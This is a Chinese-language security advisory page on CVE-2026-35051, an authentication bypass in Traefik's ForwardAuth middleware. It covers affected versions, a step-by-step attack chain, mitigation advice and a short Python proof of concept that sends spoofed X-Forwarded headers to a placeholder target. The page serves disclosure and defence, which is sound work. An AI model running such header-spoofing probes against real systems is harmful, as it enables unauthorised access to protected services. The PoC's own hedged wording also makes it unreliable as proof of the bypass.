CVE-2026-35051 CVSS 10.0 严重

CVE-2026-35051 Traefik认证绕过漏洞

披露日期: 2026-04-30

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-35051

漏洞类型

认证绕过

CVSS评分

10.0 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Traefik

漏洞概述

Traefik是一款开源的HTTP反向代理和负载均衡器。在2.11.43、3.6.14和3.7.0-rc.2之前的版本中，其ForwardAuth中间件存在严重的认证绕过漏洞。当配置trustForwardHeader=false且Traefik部署在可信上游代理之后时，未经身份验证的攻击者可利用该缺陷绕过安全检查。该漏洞CVSS评分为10.0，无需用户交互即可利用，对系统机密性和完整性构成极高威胁，建议用户尽快升级。

技术细节

该漏洞源于Traefik ForwardAuth中间件在处理请求头时的逻辑缺陷。在特定部署架构下（即Traefik位于可信上游代理之后），尽管配置了trustForwardHeader=false，攻击者仍可通过构造特殊的HTTP请求头绕过认证机制。攻击者利用上游代理转发的头部信息欺骗Traefik，使其误认为请求来自内部受信任的来源或符合转发认证的豁免条件。由于无需用户交互且无需认证，攻击者可直接访问受保护的后端服务。这破坏了ForwardAuth作为安全网关的预期行为，导致未授权访问敏感数据或修改配置。

攻击链分析

STEP 1

侦察

攻击者识别出目标使用了Traefik作为反向代理，并启用了ForwardAuth中间件进行身份验证。

STEP 2

探测架构

确认Traefik部署在可信上游代理（如AWS ALB或Cloudflare）之后，且配置可能存在逻辑缺陷。

STEP 3

构造请求

攻击者发送特制的HTTP请求，包含伪造的X-Forwarded-*头部，试图欺骗Traefik信任该请求。

STEP 4

绕过认证

由于漏洞存在，ForwardAuth中间件错误地信任了头部信息，未将请求转发给认证服务直接放行。

STEP 5

未授权访问

攻击者成功获取受保护后端服务的访问权限，窃取数据或执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/usr/bin/env python3
"""
PoC for CVE-2026-35051: Traefik ForwardAuth Authentication Bypass
This script demonstrates bypassing authentication by sending a crafted request.
"""
import requests

target_url = "http://target-traefik-instance/protected-route"

# Headers simulating a trusted upstream proxy which might trigger the bypass logic
headers = {
    "X-Forwarded-For": "127.0.0.1",
    "X-Forwarded-Host": "localhost",
    "User-Agent": "CVE-2026-35051-Test"
}

try:
    response = requests.get(target_url, headers=headers, timeout=5)
    if response.status_code == 200:
        print("[+] Potential Bypass Successful! Received 200 OK.")
        print(f"[+] Response Body: {response.text[:100]}")
    else:
        print(f"[-] Bypass Failed. Status Code: {response.status_code}")
except Exception as e:
    print(f"Error: {e}")

影响范围

Traefik < 2.11.43

Traefik < 3.6.14

Traefik < 3.7.0-rc.2

防御指南

临时缓解措施

如果无法立即升级，建议在网络层实施严格的访问控制列表（ACL），确保只有经过验证的上游代理才能与Traefik通信。此外，可以暂时在应用层增加额外的认证机制作为防御纵深，直到完成补丁更新。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表